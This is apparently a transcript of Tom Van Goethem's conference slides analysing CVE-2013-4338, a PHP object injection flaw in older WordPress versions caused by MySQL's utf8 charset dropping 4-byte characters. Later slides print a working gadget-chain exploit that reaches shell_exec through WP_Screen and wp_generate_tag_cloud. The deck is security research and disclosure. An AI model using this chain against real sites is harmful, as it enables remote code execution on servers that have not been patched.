php object injection vulnerability in wordpress: an analysis
TRANSCRIPT
![Page 1: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/1.jpg)
Remote code execution in WordPress
By Tom Van Goethem
![Page 2: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/2.jpg)
About me❖ Tom Van Goethem
❖ PhD Student at
❖ Security Researcher
❖ Blogger — http://vagosec.org
❖ — @tomvangoethem
2
![Page 3: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/3.jpg)
Agenda❖ WordPress
❖ PHP Object Injection
❖ UTF-8 and MySQL
❖ Vulnerability
❖ Exploit
❖ Demo3
![Page 4: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/4.jpg)
WordPress❖ Free and open source web blogging system and CMS
❖ PHP, MySQL
❖ Plugin & template architecture
❖ 60,000,000 websites
❖ aprox. 19% of top 10mil
4
![Page 5: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/5.jpg)
WordPress
❖ 510 vulnerabilities since 2004 ❖ Most from plugins ❖ 2013: 16 vulnerabilities ❖ CVE-2013-4338
5
![Page 6: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/6.jpg)
CVE-2013-4338
6
wp-‐includes/functions.php in WordPress before 3.6.1 does not properly determine whether data has been serialized, which allows remote attackers to execute arbitrary code by triggering erroneous PHP unserialize operations.
![Page 7: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/7.jpg)
PHP Object Injection❖ PHP’s unserialize() can instantiate objects
❖ Some “magic methods” are executed on instantiation/when printed/...
❖ Passing user-input to PHP’s unserialize() may have disastrous effects
7
![Page 8: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/8.jpg)
PHP Object Injection
8
<?php!class File {!! public $file;!!! function __construct($file) {!! ! $this->file = $file;!! }!! function __destruct() {!! ! unlink($this->file);!! }!! function __toString() {!! ! $fh = fopen($this->file, 'r');!! ! $r = fread($fh, filesize($this->file));!! ! return $r;!! }!! // ...!}!?>
![Page 9: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/9.jpg)
PHP Object Injection
9
<?php!require_once('File.php');!$in = $_GET['in'];!$obj = unserialize($in);!echo '<h1>' . $obj . '<h1>';!?>
<?php!require_once('File.php');!$obj = new File('secret.txt');!$payload = serialize($obj);!echo $payload;!?>
victim.php
attacker.php
![Page 10: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/10.jpg)
PHP Object Injection
10
![Page 11: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/11.jpg)
PHP Object Injection
11
![Page 12: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/12.jpg)
UTF-8❖ In the beginning... there was ASCII
‣ American Standard Code for Information Interchange
‣ 7 bits ‣ 127 characters
❖ I 💖 Москва ❖ Support for many other characters needed
12
![Page 13: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/13.jpg)
UTF-8❖ Then came Unicode
‣ maps more than 100,000 characters to a number ‣ still requires encoding
❖ UTF-8 ‣ backwards compatible with ASCII ‣ 1-4 bytes long ‣ supports code points U+0000 to U+10FFFF
!
I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ...I = 01001001💖 = 11110000 10011111 10010010 10010110 13
![Page 14: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/14.jpg)
UFT-8 and MySQL
14
![Page 15: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/15.jpg)
UFT-8 and MySQL
❖ MySQL has utf8 charset
‣ All we need, right?
15
![Page 16: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/16.jpg)
UFT-8 and MySQL
16
CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;!!CREATE TABLE utf8test.utf8test_table (! utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)!DEFAULT CHARACTER SET = utf8;!!INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');!# Query OK, 1 row affected (0.00 sec)!!INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');!# Query OK, 1 row affected, 1 warning (0.00 sec)!!SHOW WARNINGS;!# Incorrect string value: '\xF0\x9F\x92\x96 \xE3...' for column 'utf8test_column' at row 1!!SELECT * FROM utf8test.utf8test_table;!# +--------------------+!# | utf8test_column |!# +--------------------+!# | I love Москва |!# | I |!# +--------------------+
![Page 17: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/17.jpg)
UFT-8 and MySQL❖ From MySQL Reference Manual:
!
❖ MySQL’s utf8 supports U+0000 to U+FFFF
❖ What with U+10000 to U+10FFFF?
‣ MySQL’s behavior: depends on character set ➡ with utf8: drop character and everything that follows
17
![Page 18: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/18.jpg)
UFT-8 and MySQL
18
![Page 19: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/19.jpg)
Vulnerability❖ WordPress user-meta data can be serialized
❖ user-meta? ‣ first name, last name, contact info, ... ‣ stored in wp_usermeta (default charset utf8)
❖ can be serialized? ‣ normal string → normal string
‣ object → serialize(object)
‣ serialized string → serialize(serialized string)19
![Page 20: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/20.jpg)
Vulnerability
❖ When stored in DB, content is serialized ‣ only if is_serialized() returns true
❖ When retrieved from DB, content is unserialized ‣ only if is_serialized() returns true
20
![Page 21: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/21.jpg)
21
function is_serialized($data) {!! // if it isn't a string, it isn't serialized!! if (!is_string($data)) { return false; }!! $data = trim($data);! ! if ('N;' == $data) { return true; }!! $length = strlen($data);!! if ($length < 4) { return false; }!! if (':' !== $data[1]) { return false; }!! $lastc = $data[$length-1];!! if (';' !== $lastc && '}' !== $lastc) { return false; }!! $token = $data[0];!! switch ($token) {!! ! case 's' :!! ! ! if ('"' !== $data[$length-2]) { return false; }!! ! case 'a' :!! ! case 'O' :!! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);!! ! case 'b' :!! ! case 'i' :!! ! case 'd' :!! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;\$/", $data);!! }!! return false;!}!
![Page 22: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/22.jpg)
Vulnerability❖ What we need:
‣ when inserted in DB, is_serialized() should return false
‣ when retrieved from DB, is_serialized() should return true
❖ Let’s put one and one together ‣ append 4-byte UTF-8 character to serialized string
‣ is_serialized() returns false:
‣ when stored in DB: last character dropped
‣ when retrieved: is_serialized() returns true
‣ unserialize() is called on arbitrary user-content 22
if (';' !== $lastc && '}' !== $lastc) return false;
![Page 23: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/23.jpg)
Vulnerability
❖ Before:
!
❖ After:
23
![Page 24: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/24.jpg)
Vulnerability
24
![Page 25: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/25.jpg)
Exploit❖ Vulnerability: ✓
❖ Needed for a working exploit: ‣ class with “useful” magic method
➡ __destruct(), __toString(), __wakeup()!
‣ is included at right time
❖ Not found in WordPress core...
25
![Page 26: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/26.jpg)
Exploit
❖ ...anything you can imagine... ☺
26
![Page 27: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/27.jpg)
27
![Page 28: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/28.jpg)
Exploit
28
![Page 29: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/29.jpg)
29
class simple_html_dom_node {! function __construct($dom) {! $this->dom = $dom;! $dom->nodes[] = $this;! }! function __destruct() {! $this->clear();! }! function __toString() {! return $this->outertext();! }! function outertext() {! // ...! if ($this->dom && $this->dom->callback!==null) {! call_user_func_array($this->dom->callback, array($this));! }! // ...! }! // ...!}
![Page 30: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/30.jpg)
30
final class WP_Screen {! public function render_screen_meta() {! // ...! foreach ($this->_help_tabs as $tab):! if (!empty($tab['callback']))! call_user_func_array($tab['callback'], array($this, $tab));! endforeach;! }! // ...!}
function wp_generate_tag_cloud($tags, $args = '') {! // ...! $args = wp_parse_args($args, $defaults);! extract($args);! // ...! foreach ((array) $tags as $key => $tag) {! $real_counts[$key] = $tag->count;! $counts[$key] = $topic_count_scale_callback($tag->count);! }! // ...!}
![Page 31: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/31.jpg)
31
![Page 32: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/32.jpg)
32
class simple_html_dom_node {!! private $dom;!! public function __construct() {!! ! $callback = array(new WP_Screen(), 'render_screen_meta');!! ! $this->dom = (object) array('callback' => $callback);!! }!}!class WP_Screen {!! private $_help_tabs;!! public $action;!! function __construct() {!! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');!! ! $this->action = (object) $count;!! ! $this->_help_tabs = array(array(!! ! ! 'callback' => 'wp_generate_tag_cloud', !! ! ! 'topic_count_scale_callback' => 'shell_exec'));!! }!}!echo serialize(new simple_html_dom_node()).'💖';
![Page 33: PHP Object Injection Vulnerability in WordPress: an Analysis](https://reader038.vdocuments.us/reader038/viewer/2022102705/554f43c5b4c905423f8b473e/html5/thumbnails/33.jpg)
Demo
33